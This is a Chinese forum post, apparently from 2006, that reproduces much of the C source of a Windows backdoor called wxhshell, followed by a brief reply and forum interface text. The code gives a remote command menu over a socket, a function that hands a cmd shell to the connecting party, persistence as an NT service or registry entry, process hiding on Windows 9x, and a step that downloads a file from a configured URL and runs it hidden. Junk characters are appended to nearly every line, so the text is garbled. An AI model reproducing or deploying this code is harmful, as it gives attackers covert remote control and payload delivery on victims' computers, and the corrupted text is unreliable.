  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,A$h>Z  
  else dQ.#8o=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UI+6\ 3  
  } IrqM_OjC  
  else { $2?AJ/2r$b  
0!_?\)X  
    switch(cmd[0]) { #e|o"R;/`  
  2 HEU  
  // 帮助 dD=$$( je  
  case '?': { @wI>0B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 89g a+#7  
    break; kz7FQE  
  } VTM* 1uXS>  
  // 安装 :aej.>I0  
  case 'i': { -}|L<~  
    if(Install()) KBmOi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  % D  
    else O {1" I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |'nQvn:{  
    break; VAz4@r7hkq  
    } 'bi;Y1:  
  // 卸载 Pwl*5/l  
  case 'r': { ` 3qf}=Z`  
    if(Uninstall()) <m]0!ii  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d-D,Gx]>$  
    else yx :^*/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZH_$Q$9  
    break; (?7=,A7^  
    } ^w60AqR8  
  // 显示 wxhshell 所在路径 HcsV q+  
  case 'p': { j|k/&q[St  
    char svExeFile[MAX_PATH]; 1 :p'  
    strcpy(svExeFile,"\n\r"); ew~Z/ A   
      strcat(svExeFile,ExeFile); >v.f H6P,}  
        send(wsh,svExeFile,strlen(svExeFile),0); P1Hab2%+  
    break; wtY)(k a  
    } sFTAE1|  
  // 重启 tQ|c.`)W  
  case 'b': { ,Vhve'=*2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N3n]  
    if(Boot(REBOOT)) OlOOg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i/x |c!E  
    else { )4L2&e`k)(  
    closesocket(wsh); p"ZvA^d\   
    ExitThread(0); nF<K84  
    } uL`#@nI  
    break; SIJ7Y{\.  
    } pCs3-&rI3  
  // 关机 QxYm3x5  
  case 'd': { t0m;tb bg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q? ' 4&  
    if(Boot(SHUTDOWN)) "GO!^ZG]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); da7"Q{f+  
    else { mqZH<.mn  
    closesocket(wsh); hCcI]#S&  
    ExitThread(0); /iU<\+ H  
    } TTz=*t+D  
    break; w}xA@JgQ%  
    } @7twe;07r  
  // 获取shell -tj#BEC[H(  
  case 's': { `Nx@MPo  
    CmdShell(wsh); $oBs%.Jp  
    closesocket(wsh); WHdMP  
    ExitThread(0); !9;m~T7.  
    break; # )y`Zz{h  
  } ,8@<sF B'  
  // 退出 D&%8JL  
  case 'x': { NN*L3yx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jIubJQR~  
    CloseIt(wsh); }?s-$@$R  
    break; Nw*<e ]uD  
    } W"c\/]aD  
  // 离开 1<r!9x9G  
  case 'q': { V~*Gk!+f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gk%nF  
    closesocket(wsh); dk|LC-]`A  
    WSACleanup(); 72dRp!J U  
    exit(1); z &EDW 5I  
    break; @]l|-xGCWn  
        } * ,a F-  
  } 0= $/  
  } q<&1,^ A  
.4zzPD$1  
  // 提示信息 Ei!Z]jeK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k&$ov  
} d&+]@ Ii  
  } z% 8`F%2  
t1w5U+z  
  return; zZCl]cql  
} >+M[!;m}  
FRQ.ix2  
// shell模块句柄 {-4+=7Sg1  
int CmdShell(SOCKET sock) 9O;Sn+  
{ L7rgkxI7k*  
STARTUPINFO si; /wJ#-DZ  
ZeroMemory(&si,sizeof(si)); & =[!L0{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @z1QoZ^w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \zBi-GI7  
PROCESS_INFORMATION ProcessInfo; ZNBowZI  
char cmdline[]="cmd"; Wk%|%/:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I3Vu/&8f|  
  return 0; %1i:*~g  
} cq I $9  
EO!,rB7I  
// 自身启动模式 //7YtK6  
int StartFromService(void) }4C_r'd6  
{ l U/Xi  
typedef struct <m-(B"F X  
{ 7Eyi~jes  
  DWORD ExitStatus; 2I B{FO/  
  DWORD PebBaseAddress; )> ZT{eF  
  DWORD AffinityMask; n41#  
  DWORD BasePriority; d5'Q 1"{  
  ULONG UniqueProcessId; ]o] VS  
  ULONG InheritedFromUniqueProcessId; Lz 1.+:Ag  
}   PROCESS_BASIC_INFORMATION; &|Gg46P7  
o/{`\4  
PROCNTQSIP NtQueryInformationProcess; ' [$KG  
,JwX*L<:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ED` 1)1<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7KIekL  
P]Fb0X  
  HANDLE             hProcess; rH7Cv/Y  
  PROCESS_BASIC_INFORMATION pbi; ~5P9^`KNH  
RL` E}:V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8jz>^.-o  
  if(NULL == hInst ) return 0; qyRN0ZB"A^  
yj:@Fg-3g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BM!ZdoKrKt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y<T0yl?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); </25J((  
:E")Zw&sW3  
  if (!NtQueryInformationProcess) return 0; 9y!0WZE{e  
]+I9{%zB%8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9lq5\ tL-  
  if(!hProcess) return 0; .YF1H<gwa  
!ZTghX}D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PNm@mC_fh  
|+Wn5iT  
  CloseHandle(hProcess); [c B^6v  
-64l f-<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /9_%NR[  
if(hProcess==NULL) return 0; l#[Z$+!09  
(HRj0,/^  
HMODULE hMod; beO Mln+R  
char procName[255]; EXSJ@k6=8s  
unsigned long cbNeeded; }c8nn  
:?xH)J,imk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /h53;$zK  
xT> 9ZZcE  
  CloseHandle(hProcess); V|YQhd0kv  
89M'klZ   
if(strstr(procName,"services")) return 1; // 以服务启动 Q/|.=:~FO  
m1W) PUy  
  return 0; // 注册表启动 %,[,mW4l   
} Htgo=7!?\3  
B{/og*xd*1  
// 主模块 a"@f< wU~  
int StartWxhshell(LPSTR lpCmdLine) 0Md>-H;ZY  
{ ()aCE^C  
  SOCKET wsl; U`6|K$@  
BOOL val=TRUE; O:0{vu9AQ  
  int port=0; bSe\d~{  
  struct sockaddr_in door; &PJ;B)b  
!.UE}^TV  
  if(wscfg.ws_autoins) Install(); $`lWW6>P  
W`x.qumN  
port=atoi(lpCmdLine); UNDl&C2vz  
p$,G`'l  
if(port<=0) port=wscfg.ws_port; }#s{."  
jRg/N_2'2  
  WSADATA data; i|{psA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZLzc\>QX  
r)gK5Mv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y,:WLk~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HGYTh"R  
  door.sin_family = AF_INET; >az~0PeEL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =][ )|n  
  door.sin_port = htons(port); RI*n]HNgy+  
j sPavY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i8?oe%9l  
closesocket(wsl); [!)HWgx  
return 1; ChK-L6  
} (xo`*Q,+  
LAC&W;pJ"  
  if(listen(wsl,2) == INVALID_SOCKET) { yy3x]%KK  
closesocket(wsl); ;O7"!\  
return 1; v*V( hMy  
} xn`)I>v  
  Wxhshell(wsl); P^OmJ;""D  
  WSACleanup(); }-fHS;/  
BWxfY^,'&6  
return 0; O7 ;=g!j  
l 73% y  
} )h@PRDI_  
/xUF@%rT  
// 以NT服务方式启动 vb^fx$V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 93*d:W8Vr  
{ s~{rC{9X  
DWORD   status = 0; <eXGtD  
  DWORD   specificError = 0xfffffff; bse`Xfg  
[;wJM|Z J0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "73*0'm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jSpj6:@B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l,J>[Q`<  
  serviceStatus.dwWin32ExitCode     = 0; s?HK2b^;D  
  serviceStatus.dwServiceSpecificExitCode = 0; =0?5hxMd  
  serviceStatus.dwCheckPoint       = 0; %%K3J<5  
  serviceStatus.dwWaitHint       = 0; }Nr6oUn  
XncX2E4E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Z}t;:yhR  
  if (hServiceStatusHandle==0) return; MiZ<v/L2  
ow'G&<0b  
status = GetLastError(); x\'3UKQP+^  
  if (status!=NO_ERROR) RNc:qV<H  
{ 7G+!9^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S*<Jy(:n  
    serviceStatus.dwCheckPoint       = 0; ou-#+Sdd  
    serviceStatus.dwWaitHint       = 0; ,marNG  
    serviceStatus.dwWin32ExitCode     = status; ZP~H!  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZV--d'YiEm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sgO au\E  
    return; E#_/#J]UQn  
  } XQ=%a5w  
"_&ZRcd*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y$>NsgQn6  
  serviceStatus.dwCheckPoint       = 0; <-.@,HQ+  
  serviceStatus.dwWaitHint       = 0; sl-wNIQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _]@u)$  
} $,K@xq5  
rG?5z"  
// 处理NT服务事件,比如:启动、停止 q;#AlquY@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;SE*En  
{ GZi`jp  
switch(fdwControl) gM&O dT+i  
{ <n,QSy#  
case SERVICE_CONTROL_STOP: IoL P*D  
  serviceStatus.dwWin32ExitCode = 0; *f 7rLM*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Xr})%L  
  serviceStatus.dwCheckPoint   = 0; .#~!w!T  
  serviceStatus.dwWaitHint     = 0; 8XYxyOl  
  { "*HM8\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 693"Pg8b  
  } 2->Lz  
  return; SZTn=\  
case SERVICE_CONTROL_PAUSE:  p0W<K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v' t'{g%  
  break; S(CkA\[rz  
case SERVICE_CONTROL_CONTINUE: SZXSVz0j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6:wk=#w  
  break; j_5&w Znq  
case SERVICE_CONTROL_INTERROGATE: 2pmj*Y3"8  
  break; K&&T:'=/  
}; 3ibQbk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {X<g93  
} j5DCc,s  
Aa_@&e  
// 标准应用程序主函数 [;Ih I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T;3qE1c  
{ FS 5iUH+5  
]2l}[ w71|  
// 获取操作系统版本 "8%$,rG1&  
OsIsNt=GetOsVer(); Zj -#"Gm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); adu6`2 *$  
gs!'*U)  
  // 从命令行安装 _`p-^ I  
  if(strpbrk(lpCmdLine,"iI")) Install(); C[.Xi  
f3Zf97i  
  // 下载执行文件 Sed 8Q-m  
if(wscfg.ws_downexe) { lv?`+tU2_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @?e~l:g})g  
  WinExec(wscfg.ws_filenam,SW_HIDE); y0Gblza  
} c$,1j%[)  
^;ZpK@Luk  
if(!OsIsNt) { -HGRrWS  
// 如果时win9x,隐藏进程并且设置为注册表启动 4 .c1  
HideProc(); QOK,-  
StartWxhshell(lpCmdLine); c $r"q :\  
} E[#VWM I  
else ]&H"EHC<$  
  if(StartFromService()) ;%d<Uk?  
  // 以服务方式启动 U]}FA2  
  StartServiceCtrlDispatcher(DispatchTable); TrzAgNt  
else Io*H}$Gf  
  // 普通方式启动 m#_Rv  
  StartWxhshell(lpCmdLine); qCI7)L`  
05{}@tW-  
return 0; wbJBGT{sm  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八